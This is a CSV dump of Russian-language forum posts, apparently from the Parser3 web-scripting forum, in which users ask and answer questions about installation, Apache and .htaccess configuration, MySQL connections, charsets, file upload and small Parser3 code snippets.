"4258","Или не было сделано CharsetDisable on?"
"4259","хочу сказать ОГРОМНОЕ СПАСИБО всем разработчикам. Parser - это ПРОСТО ЧУДО! удивляюсь, как все до сих пор сидят на perl и php? :)"
"4261","Мне не кажется, что так будет лучше. Это будет не так универсально и просто. ;-)\
\
Будет ли эта ошибка исправлена в ближайшее время? ;-) Куда пропал PAF? :-)"
"4263","Ну я придерживаюсь мнения что пусть картиинками и файлами занимаеться Apache напрямую, а вот странички лучше в базе держать ибо в там с ними удобней оперировать."
"4264","Мда, круто. А где про енто все прочитать можно? DTD я немножко  представляю что такое, а вот что есть xmlns - ?"
"4266","Я могу получить достуб к столбцу не по названию, а по порядковому номеры, и тоже самое к строке.\
И вообще могу я как в массиве вытащить из таблицы элемент с номером столбца 1 и строкой номер 5."
"4267","Как на Parser'е можно реализовать аплоад на сервер, можно ли проконтролировать окончание заливки файла на сервер для дальнейшей его обработки."
"4268","а xmlns - это XML namespace"
"4269","Закачка\
[code]\
^form:имя_поля.save[binary;имя_файла]\
[/code]\
Проверка закачки\
[code]\
^if(-f \"имя_файла\"){Если найден}{Если не найден}\
[/code]"
"4270","Поставил под win98 apache. Установил парсер, но ничего не работает. Кто подскажет как правильно сконфигурировать все это дело, чтобы заработало.\
P.S. Просьба не смеятся, т.к. это все пробую ради знания, никогда никаких сайтов, веб-серверов не создавал и администрировал. "
"4271","Андрей, мы не можем читать ваши мысли и поэтому пожалуйста, опишите подробно [i]все[/i], что вы делали при установке парсера."
"4272","Скачал главный конфигурационный файл parser3conf_20020430_win32.zip - распаковал его в каталог windows.\
Затем parser3_1_0_0001_win32_apache_xml.zip  распаковал в каталог cgi-bin установленного apache.\
В корневом каталоге usr/local/apache создал .htaccess\
SetEnv HTTP_PARSER_ROOT_CONFIG /сюда вписал путь к файлу (usr/local/apache/cgi-bin)/parser3.conf\
После этого, в каталоге, где должны лежать файлы веб-сервера, создал самый первый примерчик. В итоге, просто выводится html страница, на которой: ^navigation[]. Т.е. ничего не получилось :("
"4273","Вы распаковываете главный конфиг в каталог windows а в .htaccess пишете к нему совсем другой путь - это первое. Второе в не назначаете а .htaccess обработчиком .html файлов парсер, делается это так:\
[code]\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/p3/parser3.exe\
[/code]\
Вообщем вы просто невнимательно прочитали раздел про установку, прочтите его повнимательнее."
"4274","надо так:\
[code]\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.exe\
[/code]"
"4275","как правильно имя файла: a.htaccess or .htaccess\
\
А то Вы пишите и так и так\
\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/p3/parser3.exe // - все это надо запихнуть в .htaccess??"
"4277","http://www.parser.ru/docs/lang/install4apache.htm\
\
если конечно внимательно прочитать :)"
"4278","Оk... завтра с утра попробую еще раз все установить...если что обращусь"
"4279","Стесьняюсь спросить, а долго ли работать не будет? Есть какая-то инфа?"
"4280","Про строку и ее номер читай ^table.line и ^table.offset\
Получить по номеру столбец именованой таблицы - нельзя. (Можно, правда, ее \"обезнеймить\", точнее, переложить в nameless, но следую \"стандарту Парсера\" - nameless - deprecated)\
По последнему вопросу - ответ очевиден и следует из вышесказанного."
"4282","а как сделать цикл типа downto? Не от 1 до 10, а от 10 до 1 прогнать?"
"4283","$little_negros(10) \
^while($little_negros > 0){ \
   <br> \
   $little_negros негритят пошли купаться в море. \
   Один из них ^little_negros.dec[] утоп, \
   ему срубили гроб, и вот вам результат - \
   $little_negros негритят. \
}"
"4284","а цЫклом-таки не получицца? степ=-1 хочу."
"4285","Странно в документации я таких команд не нашел..."
"4286","Виноват, невнимателен!"
"4287","хм, не сталкивался с такой проблемы, чтобы так сильно нужно было именно \"-шаг\"\
\
может такое сгодится ;)\
^for[step](1;4){ \
	^eval(5-$step)\
}"
"4288","так и пришлось поступить... но енто ведь неудобно! :( хочу степ-1."
"4290","ну вот еще - делать мне нечего как в исходниках копацца. :) к paf'у сразу и пойду ;)"
"4293","tovarischi designer- programmer- users! obyasnite mne pojaluysta - zachem nujen XML?! nu, ya ponimayu, noviy yazik razmetki,tam, to-da-se... tolko ya uje pol internet'a perechital, a prakticheskoy polzi ot xml ne viju do sih por!\
nahrena sostavlat noviy tag, tipa <author>Ya</author>,zapisivat eto v .xml file, a potom v .xsl file etot tag opisivat standartnimi html tagami?! NAHRENA?! kogda mojno srazu eto sdelat na html, ne putayas s .xml i .xsl file'ami! A?!\
ya mogu pokazatsa lamerom - no vse je - proshu otnestis k moemu voprosu s ponimaniem! Please!\
ili posovetuyte hotya bi kakoy libo inet-resurs po etoy teme(jelatelno, ischerpivayuschiy moy vopros!)!\
Zaranee blagodaren! Agat...ag_7k@mail.ru\
                           http://crimnet.h1.ru"
"4295","[quote]\
Подготовкой данных может заняться один человек, а форматированием другой. Им достаточно договориться об используемых тегах и можно начинать работу… одновременно. \
\
Идея эта не нова, существовали многочисленные библиотеки обработки шаблонов, а многие делали себе собственные. Библиотеки были несовместимы между собой, зависели от используемых средств скриптования, порождая разобщенность разработчиков и необходимость тратить силы на изучение очередной библиотеки вместо того, чтобы заняться делом. \
\
Однако прогресс не стоит на месте и сейчас мы имеем стандарты XML и XSLT, дающие нам возможность реализовать то, что мы только что представляли. А также стандарты DOM и XPath, позволяющие еще больше. \
Parser полностью поддерживает все эти стандарты (DOM1 полностью + ряд возможностей DOM2). \
[/quote]"
"4296","Кто-нить собирал парсер3 на субж???\
Мне срочно нужно, буквально горю.\
Буду признателен - с меня пиво..."
"4298","наверно только так\
$date_test[^date::create(year;month;day;hour;minute;second)]\
или\
$date_test[^date::create[year-month-day hour:minute:second]]"
"4299","Строка поиска находится слева, если вдруг не заметил :)\
\
http://www.parser.ru/forum/?id=3082\
http://www.parser.ru/forum/?id=1931"
"4300","Страна советов, млин...\
\
Greg, проверь почту (не в обиде за подарок на 700K будешь?) \
\
P.S. Я пью Сибирскую Корону и Berliner Kindl. Bitburger тоже пью."
"4301","люди которые задавали вопросы и больше их не задают, с большой вероятностью таки собрали парсер...\
их email указаны перед их же вопросами.\
\
можно написать письмо этим людям, т.к. автор написал что ему действительно очень нужно"
"4303","Во всяком случае, еще недели полторы назад в скомпиленных версиях его не было."
"4306","Я правильно понимаю, что в Parser'е мне нужно самому заниматься сохранением инфы для пользовательской сессии и самому заботиться о сохранении ID сессии в пользовательских cookies или о перетаскивании этого ID от страницы к странице через URL...\
Может есть какой-нть интерфейс к пользовательским сессиям наподобии имеющегося в PHP, который я, может быть, не заметил?"
"4307","Привет всем,\
\
Как получить символ из hex-кода если hex-код задан переменной ?\
Про ^#<hex-код> я знаю, но как вместо hex-кода использовать переменную ?\
\
Дмитрий\
\
"
"4308","Выкладываю .htaccess в папку на сервер под FreeBSD.\
В log файле получаю \
SetEnv not allowed here\
после того как закоментарил SetEnv читаю в log\
AddHandler not allowed here\
\
Где правит чтобы apach не ругался.\
\
\
"
"4309","AllowOverride All для твоей папки"
"4310","да, проблема...\
\
получилось только так:\
[code]\
$hex-code(99)\
^process{^^#$hex-code}\
[/code]\
хотя конечно этот ^process мне активно не нравится"
"4312","http://www.computerra.ru/online/firstpage/newsofday/19059/"
"4316","Создал я БД(mysql) с нужными полями и т.п. все вообщем у меня нормально шло и решил я посмотреть как всё работает... запускаю свой браузер пишу, что нужно закинуть в новости, и вываливается:'mysql://root@localhost/p3test' $SQL:drivers table must be defined type: parser.runtime\
И всё :(\
Может я чё-нибудь не так поставил? прописал? ... и т.д. \
\
Помогите плиз... \
Заранее всем спасибо. \
\
ЗЫ. Весь софт ставлю на мастдай98... \
"
"4317","Как парсером после submit`a формы проверить, поставлена гаолчка в checkbox или нет? сколько ни бился - получаю unhandled exception на последнем символе всего документа. глюк, короче."
"4318","что-то такое было в форуме 2-го парсера"
"4319","а ты задал в главном конфигурационном файле таблицу SQL драйверов?"
"4320","Если на последней строке - значит скобка где-то не закрыта."
"4321","Всем спасибо и respect!\
Нашел ошибку, исправил, все работает."
"4322","Так вообщем расскажу тебе поподробнее: \
файл parser3.conf лежит в c:\\winnt\\parser\\ (винда98 у меня лежит вообще в левом каталоге, т.е. не в c:\\windows!)\
в parser3.conf написано:\
@auto[]\
$charsetsdir[c:\\winnt\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[c:\\winnt\\parser3\\lib]\
...\
...\
#change your client libraries paths to those on your system\
$SQL[mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll}]\
]\
Блин я в трауре =( Чё делать не знаю... не работает и всё... "
"4323","А как в Parser'е сделать download?"
"4324","Еси на сервак закачать, то вот так:\
http://www.parser.ru/forum/?id=4269"
"4325","Собственно вопрос - каким образом можно создать дерево директорий сайта используя парсер?\
\
Что-то никаких идей не приходит..."
"4326","http://www.parser.ru/examples/trees/"
"4327","Разумеется, я это читал :)\
Классика, так сказать :)\
\
У меня, имхо, другая ситуация: \
чтобы использовать идею из этого примера, нужно сначала получить таблицу с всеми директориями сервера (т.е. через ^file:list[], а не БД).\
\
Вот как эту таблицу заполучить?\
Через пробовал экперементировать с ^for и ^while но что-то не клеится...\
"
"4328","моделируй эту структуру с помощью mod_rewrite"
"4329","Проблема вот в чём.\
Например:\
\
[b]\
^tab.menu{\
  <img src=$tab.img>\
}\
[/b]\
\
выдаст код\
\
[code]\
<img src=1.gif>\
<img src=1.gif>\
<img src=1.gif>\
[/code]\
или\
[code]\
<img src=1.gif> <img src=1.gif> <img src=1.gif>\
[/code]\
\
а надо\
[code]\
<img src=1.gif><img src=1.gif><img src=1.gif>\
[/code]\
чтобы картинки точно прилигали друг к другу.\
\
Вариант\
[b]\
^tab.menu{<img src=$tab.img>}\
[/b]\
не проходит, так как код внутри menu в реале большой.\
\
\
\
\
\
\
\
\
"
"4330","http://parser.ru/forum/?id=2484"
"4331","в базу лезут крокозяблики вместо русских буковок, ни хрена не соображаю, дэдлайн у меня, скажите чё это может быть ПЛИИИИИИИИИИИИИZZZZZZZZZZZ!!!!"
"4332","попробуй проверить кодировку самой базы данных"
"4333","смысл:\
пихать кусок кода в переменную, которую с каждой итерацией наращивать\
[code]\
^tab.menu{\
$code[${code}<img src=\"$tab.img\">]\
}\
выводим: $code\
[/code]\
\
а ваще вот тебе простейший оператор trim:\
[code]\
##################################################################################\
# обрезает начальные и конечные символы char. если char не задан - то обрезает начальные и конечные пробельные символы\
@trim[string;char][str;chr]\
$str[$string]\
^if($str ne ''){\
	$chr[^default[$char;\\s]]\
	$str[^string.match[^^$chr*][]{}]\
	$str[^str.match[$chr*^$][]{}]\
}{\
	$str[]\
}\
$result[$str]\
#end @trim[]\
[/code]\
"
"4334","после открывающей фигурной скобки, он там совсем не нужен"
"4335","Четвертый урок. Все что описанно в этом уроке по работе с MySQL и новостной колонкой дома работает замечательно (конфигурация Windows XP, Apache, MysSQL). Пытаюсь перенести на удаленный сервер расположенный на 100mb.ru. Туда поставил Parser3 Linux Redhat 6.2. (может какойто другой?) Там создана таже база данных и сам parser работет нормально, и даже чтение новостей за нынешний день работает. Но как только я хочу просмотреть новости за прошедшие дни parser выдает ошибку\
\
column not found\
\
header\
\
/home/myname/www/news/index.htm(22)\
\
exception.type=parser.runtime\
\
Тоже самое и с гостевой книгой. Если в ней нет никаких сообщений parser выдает ошибку:\
\
column not found\
\
autor\
\
/home/myname/www/classes/gbook.p(19)\
\
exception.type=parser.runtime\
\
Повторяю, что теже файлы работают дома замечательно. Помогите устранить эту ошибку"
"4336","что форма генерицца javой и ей же отправляется... Что делать, ума не приложу... 8("
"4337","сними птичку с запроса и посмотри что он пытается пихнуть в базу, может это тебе поможет\
\
а ваще я не знаю че делать ;))"
"4338","когда ты менюшишься по новостям, у тебя стоит проверка после select'a на \"существование\" таблицы(данных) по которым надо бежать?\
\
в смысле:\
[code]\
$news[^table::sql{select ...\
\
^if($news){ \
вот эта проверка, внутри которой должно стоять ^news.menu\
}\
[/code]"
"4341","т.к. ты(Givi) писал, что у тебя там ФОРМОЧКА, то для нее лучше использовать ^untaint[uri]{код}"
"4342","и в вопрос про аналог mangle, поэтому аналог mangle это ^taint[uri][...]"
"4344","я просто вызываю $form.field"
"4346","а ты в курсе разницы между untaint и tain?\
никто не умоляет твоих заслуг :) типа ты все правильно сказал, но т.к. речь шла о какой-то формочке, то лучше использовать untaint ведь данные видимо поступают извне\
\
tain и untaint отличаются лишь тем, что один для \"чистых\" данных, другой для \"грязных\""
"4347","при использовании java в таких слючаях, я наткнулся на большую каку, не помню только где, но я об этом не стал беспокоится, - просто похерил жабу и всё."
"4348","Повторюсь. На домашнем сервере все работает и все написанно правильно. Parser выдает ошибку если в базе данных новостей нет, вместо того чтобы сказать \"за указанный период новостей не найдено\". А когда вносишь новости в базу данных через форму parser выдает ошибку:\
\
(µ@(µ@,Ш\
\
insert into news (date, header, body) values ('2002-7-24', 'новость1', 'Это еще одна прекрастная новость') \
\
/home/myname/www/adm/index.htm(29)\
\
exception.type=sql.execute \
\
Но тем неменее информация передается в БД"
"4350","но вопрос был про mangle :) Да и как оказывается ему совсем не то надо, ему надо достать данные из URI а не закодировать строку для URI (то для чего mangle обычно нужен был)"
"4351","Как преобразовать к \"нормальному\" виду данные типа - %D0%90%D0%90%D0%90%D0%90%D0%90%D0%90%D0%90%D0%90 ???"
"4353","тебе надо получить значение field из\
[code]\
..?field=%D0%90%D0%90%D0%90%D0%90%D0%90%D0%90%D0%90%D0%90\
[/code]"
"4356","у меня такая кака была когда я открывал новое окной жабой скрипт и передавал ему через URI параметры, в это случае тоже $form:field дава крокозяблов."
"4358","лечится тем, что не надо в ури передавать нелатинский текста.\
надо либо id'шники, либо на худой конец латиницу\
\
это имхо"
"4359","."
"4360","могу ли я сделать н-ое количество полей и обозвать их например \
массивом а потом весб массив перебрать ?"
"4363","Думаю надо пробовать, уж больно заманчива\
прозрачная поддержка некоторых вещей.\
Былобы хорошо увидеть какие нибудь\
беньчмарки PHP vs Parser на одинаковых задачах."
"4364","слабо отражающий реальную картину."
"4365","Вот тут кое-что написал, только вот почему-то дальше 4-го уровня ничего не видит:\
\
[code]\
^use[/test.p]\
\
$dir[^file:list[/]]\
$sample:directories[^table::create{name	flag}]\
\
^sample:scanDir[$sample:directories.name]\
\
$end[1]\
\
^while($end){\
\
	^if($sample:directories.flag > 0){\
		 ^sample:scanDir[$sample:directories.name]\
	}\
	\
	^sample:directories.offset(1)\
	\
	^if(^sample:directories.line[] eq ^sample:directories.count[]){\
		 $end[]\
	}\
}\
\
[/code]\
\
test.p:\
[code]\
@CLASS\
sample\
\
@scanDir[dir]\
\
$inner_dir_list[^file:list[$dir]]\
\
^inner_dir_list.menu{\
\
	$dirCandidate[${dir}/$inner_dir_list.name]\
\
	^if(-d $dirCandidate && $dirCandidate ne \"cgi-bin/parser3.exe\"){\
		\
		 ^directories.append{$dirCandidate	0}\
		\
		 $preCandidates[^file:list[$dirCandidate]]\
		\
		 ^preCandidates.menu{\
		\
			  ^if(-d \"${dirCandidate}/$preCandidates.name\"){\
\
				    ^directories.append{${dirCandidate}/$preCandidates.name	1}\
				\
			  }\
		 }\
	}\
}\
[/code]"
"4366","В HTTP это должно выглядеть так:\
[code]\
Content-Disposition: attachment; filename=имяфайла\
Content-Type: application/octet-stream\
[/code]\
Теоретически в парсере это реализуется следующим образом:\
[code]\
$response:content-disposition[attachment^; filename=имяфайла]\
$response:content-type[application/octet-stream]\
[/code]\
Кроме того, не помешает заголовок Content-Length."
"4367","[code]\
\
#################################################################################################\
# макрос проверяет, является-ли введенная строка валидным ИНН\
@is_inn[inn]\
$result(^if(def $inn && ^inn.match[[0-9]{10,12}]){1}{0})\
#end @is_inn[inn]\
\
[/code]"
"4368","положи $inn в переменную, причем локальную, а потом с ней работай (match)"
"4371","[code]\
#################################################################################################\
# макрос проверяет, является-ли введенная строка валидным адресом электронной почты\
@is_email[email]\
$result(^if(def $email && ^email.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,4}^$][i]){1}{0})\
#end @is_email[]\
[/code]\
"
"4372","покажи как ты вызываешь is_inn\
\
сдается мне что так is_inn(111)\
а нада так is_inn[111]\
\
или я не прав?"
"4373","Сегодня в 16.00 по Москве в HWAT'овском чате Arcady, Sanja и автор данного сообщения задумали провести offline-встречу, опросить на любимом форуме общественное мнение (место, время и т.д.) и пригласить всех желающих попить Пиво после рабочего дня (недели/месяца) и просто хорошо провести время в приятной компании.\
\
ps. Первое предложение: где-то в середине августа (после глобальной выдачи зарплаты) в конце рабочей недели."
"4376","Ссылка 4269 не работает.\
\
А подробнее: мне надо чтобы пользователь видел нужную информацию из базы данный и мог по нажатии кнопки ввиде таблицы скачать ее себе на компьютер. То же самое только в обратном порядке и для upload. User берет необходимую таблицу заливает ее на сайт, а дальше на серваке уже идет ее обработка."
"4377","задачах с какими сталкнулся трудностями\
и какие получил преимущества.\
Faq и форум я уже прочитал.\
Заранее благодарен."
"4378","[quote]Сегодня в 16.00 по Москве в HWAT'овском чате Arcady, Sanja и автор данного сообщения задумали провести offline-встречу, опросить на любимом форуме общественное мнение (место, время и т.д.) и пригласить всех желающих попить Пиво после рабочего дня (недели/месяца) и просто хорошо провести время в приятной компании.ps. Первое предложение: где-то в середине августа (после глобальной выдачи зарплаты) в конце рабочей недели.[/quot]От присутствующих требуется:\
\
- явно выразить предварительное согласие поучаствовать, если есть такое желание\
- накидать предложений по поводу места проведения (желательно, спокойное место без музыки и танцпола т.к. народ больше будет трепаться, а это мешает, да и муз. пристрастия могут не совпадать) со станадартным счётом рублей в 300-500 (если меньше или больше - многие откажутся по понятным причинам)\
- высказаться по поводу удовлетворяющей всех даты - сейчас \"мёртвый сезон\" - но ко второй половине августа основная масса труженников на ниве tcp/ip и http вернутся в город.\
\
Comments are welcome.\
"
"4380","Вызвается как ^DrawSubs[;/] для корневого каталога (это кусок web-based файл-менеджера для моего сайта)\
\
[code]@DrawSubs[parent;subdir]\
\
$list_$parent_$subdir[^file:list[${parent}${subdir}]]\
\
<ul class=f>\
^list_$parent_$subdir.menu{\
$currentnode[$list_$parent_$subdir.name]\
 ^if(-d \"${parent}${subdir}/${currentnode}\"){\
  <li style=\"list-style-image:url(folder.gif)\" class=small>&nbsp^;<b>${parent}${subdir}${currentnode}/\
   ^rem{ style=\"font-family: Arial^;\"><font size=3  $list_$parent_$subdir.name</font>}</b>\
    ^toolbard[${parent}${subdir}${currentnode}/]</li>\
  ^DrawSubs[${parent}${subdir};${currentnode}/]\
 }\
}\
^list_$parent_$subdir.menu{\
$currentnode[$list_$parent_$subdir.name]\
 ^if(!-d \"${parent}${subdir}/${currentnode}\"){\
  <li style=\"list-style-image:url(file.gif)\" class=small>&nbsp^;$list_$parent_$subdir.name\
   ^toolbarf[${parent}${subdir}${currentnode}]</li>\
  ^DrawSubs[${parent}${subdir};${currentnode}/]\
 }\
}\
</ul>\
 \
#####\
\
\
@toolbarf[file]\
<nobr>\
[<a href=\"/admin/files/view.html?name=^untaint[uri]{${file}}\" class=small title=\"Просмотр файла\">View</a>]\
[<a href=\"/admin/files/edit.html?name=^untaint[uri]{${file}}\"   class=small title=\"Правка файла\">Edit</a>]\
#[<a href=\"/admin/files/copy.html?name=^untaint[uri]{${file}}\" \
#  class=small title=\"Скопировать в ...\">Copy to&#133^;</a>]\
#[<a href=\"/admin/files/move.html?name=^untaint[uri]{${file}}\" \
#  class=small title=\"Переместить в ...\">Move to&#133^;</a>]\
[<a href=\"/admin/files/delete.html?name=^untaint[uri]{${file}}\" class=small title=\"Удалить файл\">Del</a>]\
</nobr>\
\
@toolbard[file]\
<nobr><b>\
#[<a href=\"/admin/files/mkdir.html?name=^untaint[uri]{${file}}\"\
#  class=small title=\"Создать подкаталог\">Subdir</a>]\
[<a href=\"/admin/files/upload.html?dir=^untaint[uri]{${file}}\" class=small title=\"Залить файл в эту папку\">Upload here</a>]\
[<a href=\"/admin/files/newfile.html?path=^untaint[uri]{${file}}\" class=small title=\"Создать файл в этой папке\">New file</a>]\
#[<a href=\"/admin/files/delete.html?name=^untaint[uri]{${file}}\"\
#class=small title=\"Удалить\">Del</a>]\
</b></nobr>[/code]"
"4381","а дело только пивом ограничится?"
"4382","остаються бенчмарки.\
\
Или люди знающие и то и другое \
и которых мы будем вынуждены признать \
экспертами."
"4386","хотя сам не пью ваще, а вы что подумали? :)"
"4387","Важны стоимость разработки и tco (total cost of ownership). В рабочей неделе 160 часов. Если поделить на эту цифру мою з.п., получится, что час моей работы стоит шесть баксов с гаком. Если на доделку сайта, которым я занимаюсь забесплатно на досуге, я трачу по полчаса в день, в неделю этот \"волонтёрский труд\"  мне стоит чуть более 15 долларов. Если учесть, что, по моим оценкам, работа с парсером (не работа парсера, которую должен оценивать бенчмарк!) по временным затратам эффективнее аналогичной на php в два-три раза, выходит, что в неделю я сберегаю почти тридцатку убитых енотов. Вот такой бенчмарк... Гораздо убедительнее, чем fps'ы в кваке считать..."
"4388","Разбираю 4 урок, в базу данные попадают все хорошо.... Но вот когда вызываю раздел /news/ вижу только белое поле броузера и больше ничего... Как быть что делать?"
"4389","Кстати, надо не match[[0-9]{10,12}], а match[^^[0-9]{10,12}^$]"
"4390","[code]\
$imagescode[\
   ^tab.menu{\
      <img src=$tab.img>\
   }\
]\
^imagescode.match[\\n][g]{}\
[/code]"
"4391","Причём, если убрать auto.p- то загрузится...\
(типа коннекта нет и белый экран)... \
У меня тоже такой трабл ?(((((("
"4392","Почти решил проблему, возникающую при генерации формы с помощью javaScript... Дело, как обычно, было не в бобине :))) а в том, что кодировка Парсер по-умолчанию есть UTF-8. Честно говоря, не вполне понятно на каком этапе возникает перекодирование, но понял, что при работе с javaScript нужно очень чётко отслеживать $request:charset и $response:charset. Вот теперь озадачен проблемой, как динамически переключать эти параметры, потому как отдавать всё клиенту в UTF-8 не хочется.\
\
И ещё...\
\"[i]...внимательнее [b]RTFM[/b]...[/i]\"\
Это да!"
"4395","как ее перекодировать в koi-8?"
"4396","Внрсия для FreeBSD 4.5 stable. Скачал парсер с поддержкой XML и он вот что выдавать стал:\
\
parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename.\
\
Чего такое? :-/"
"4399","ответ на твой вопрос есть даже на первой странице http://www.parser.ru/\
я уже даже не говорю про фак и тому подобную ерудну"
"4400","А почему версия парсера для фрии4.5 без поддержки XML на том же самом хостинге вполне работоспособна? Наверное все-таки дело не в хостинге, а в скомпилированной версии парсера с ХМЛ.\
\
Собрать самому - не предлагать! :-)"
"4401","У версии без XML была установлена та-же группа, что и у файлов.\
У версии с XML и файлов почему-то установлена разная группа."
"4403","http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz\
\
CGI+XML [compiled without --disable-foreign-group-files config option]"
"4404","воспользоваться перекодировщиком :)"
"4408","но с точки зрения безопасности, лучше делать так, чтобы парсер запускался из одной группы с файлами (настройки веб-сервера)"
"4409","подавляющее большинство халявных хостингов работает от пользователя nobody, так что расскажи это админам :-)"
"4410","а ты много знаешь халявных хостингов, на которых работает парсер?\
я вот только один, если честно"
"4411","Господа, мне, как истинному фидошнику, срочно необходима эха RU.PARSER. Да и не мне одному, как я думаю. Как насчет гейтования этого форума в фидо?"
"4412","Конкретный вопрос как сделать чтоб все заработало :))\
А именно:\
как нужно написать index.html, auto.p в директории news и корневой auto.p. Как говорилось выше наверное это проблемы с коннектом к mysql.\
Подробно описываю как все происходит. \
Copy/Paste из документации в соответсвующие файлы.\
Изменяю auto.p в корневом каталоге (добавляю:\
 @auto[] \
$connect_string[mysql://root@localhost/p3test]\
) сразу оговорюсь, что с такой строкой подключения данные в базу добавляются со страницы администрирования, проверял с помощью mysqlc.exe.\
Далее когда пробую открыть раздел news експлорер ничего не пишет просто показывает белый экран, и крутит свой флажок (типа пытается к чему-то подключиться), Опера пишет completed request to localhost и тоже сигнализирует что загрузка страницы не завершена. В таком состоянии браузер может висеть очень долго.\
\
При этом в error логе mySQL на каждую попытку открыть news пишется подобное сообщение: 020724 21:40:31  Aborted connection 2 to db: 'unconnected' user: 'root' host: `localhost' (Unknown error)\
\
Подскажите что делать, как настроить mySQL или что еще поковырять.\
Конфигурация такая: WinXP Pro - Apache 1.3.22 - mySql 3.23.28 - ActivePerl 5.6\
"
"4413","а что в error_log Апача пишется?\
\
как-то я затрудняюсь без кода что-либо посоветовать"
"4415","в error  логе апача на этот счет не пишется ничего :((\
хм, код, я могу конечно его здесь повесить, но он абсолютно не отличается от приведенного в уроке 4 в принципе можете его там и посмотреть. я все делал как написано, по иструкции, даже обидно :)\
возможно что-то не нравиться mySql'у потому что все это стоит на домашней машине, хотя тоже врядли обращаюсь я к нему как localhost, и пробовал обращаться по сетевому айпишнику (комп входит в сеть и имеет статический айпи) не помогает.\
\
"
"4416","идея не плоха\
но 2 вещи: трафик и моды(я вот только 2-й нормально знаю)"
"4417","блин, а я совсем эхи создавать не умею - надо людей знающих найти..."
"4419","не совсем топик, но делаю-то на \"птичке\" ;)\
вообщем проблема в не в создании движка для сайта, а самом интерфейсе, какие элементы нужны обязательно, а какие - не очень.\
(на сайте статьи, новости с фото)"
"4420","Все зависит от того, что и как ты будешь размещать на страничке.\
\
Для меня - идеальный админ интерфейс, это нечто такое, с помощью которого можно [b]собрать[/b] весь сайт с нуля. Не просто забить инфу в базу и подключить картинки, а именно собрать, указывая, что вот тут будет меню, а здесь картинка и т.д.\
\
Система публикаций тоже должна быть удобна сделана. Возможно, даже, разбивка материалов на абзацы и работа с абзацами, а не только с публикацией целиком.\
\
Удобное меню для администратора, возможность одновременного входа нескольких пользователей с различным уровнем доступа...\
\
etc...\
\
Хотя, это я уже перешел на идеологию создания...\
Сорри, если ушел от темы..."
"4421","ну вот например.. http://www.saitistika.ru/themes/saitistika/problems-index.asp?folder=1404\
\
ваще их очень много, поищи в гугле и яндексе \
\
просто отталкивайся от операционной системы: windows или mac os. \
там очень большие суммы тратятся на юзабилити..."
"4422","видимо проблема всетаки в коде.... попробовал прогнать когда mySql не загружен и парсер пишет четкий error  что не может подключиться, здесь видимо код барахлит......\
посмотрите кто сечет, что не так.\
[b]index.html в разделе news [/b]\
[code] @greeting[] \
Страница новостей,  заходите чаще! \
\
@body_additional[] \
<center>Архив новостей за текущий месяц:</center> \
<br> \
# ^calendar[] \
\
@body_main[] \
<b><h1>НОВОСТИ</h1></b> \
$day(^if(def $form:day){ \
   $form:day \
}{ \
   $now.day \
}) \
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   where \
      date='${now.year}-${now.month}-$day' \
   }] \
   ^if($news){ \
      ^news.menu{ \
         <b>$news.date - $news.header</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
   }{ \
      За указанный период новостей не найдено. \
   } \
}  [/code]\
[b]auto.p в разделе news [/b]\
[code] @main[] \
@calendar[] \
$calendar_locale[ \
   $.month_names[ \
         $.1[Январь] \
         $.2[Февраль] \
         $.3[Март] \
         $.4[Апрель] \
         $.5[Май] \
         $.6[Июнь] \
         $.7[Июль] \
         $.8[Август] \
         $.9[Сентябрь] \
         $.10[Октябрь] \
         $.11[Ноябрь] \
         $.12[Декабрь] \
   ] \
   $.day_names[ \
         $.0[пн] \
         $.1[вт] \
         $.2[ср] \
         $.3[чт] \
         $.4[пт] \
         $.5[сб] \
         $.6[вс] \
   ] \
   $.day_colors[ \
         $.0[#000000] \
         $.1[#000000] \
         $.2[#000000] \
         $.3[#000000] \
         $.4[#000000] \
         $.5[#800000] \
         $.6[#800000] \
   ] \
] \
$now[^date::now[]] \
$days[^date:calendar[rus]($now.year;$now.month)] \
<center> \
<table bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr> \
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\"> \
         <b>$calendar_locale.month_names.[$now.month]</b> \
      </td> \
   </tr> \
   <tr> \
      ^for[week_day](0;6){ \
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
            <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $calendar_locale.day_names.$week_day \
            </font> \
         </td> \
      } \
   </tr> \
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b>$days.$week_day</b> \
               </font> \
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $days.$week_day \
\
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center>  [/code]"
"4423","Но как я вижу все тышки-нышки!\
У меня проблема точь в точь!!! \
Пыхчу как старпёр уже неделю!\
\
Люди! Помогите разобраться пожалуйста!\
\
Напомню условия:\
1. Тупое копи\\пасте из четвертого урока\
2. В базу пишет корректно, а выдаёт пустой лист!\
3. Не в каких логах ошибка нефигурирует!\
\
P.S. У меня ИИС! У Bear Апач!\
P.S. У меня .mdb через ODBC! У Bear MySQL как в примере!\
\
Заранее (как обычно) огромное спасибо!!!"
"4424","Я как примерный мальчик-парчик, сделал копи\\пасте из 5-го урока!\
На УДИВЛЕНИЕ всё заработало сразу!  :о)\
\
Работало, работало и вдруг вот такую вот хренамудену стал выдавать ИИС при попытке добавить запись в базу (читает из базы на ура):\
\
Ошибка HTTP 405 - Недопустимый ресурс\
\
Подскажите пожалуйста, чё делать!?!\
\
Спасибо\
\
"
"4425","глюк в документации по Parser3 (lesson 4), vladimir [02.05 13:34]"
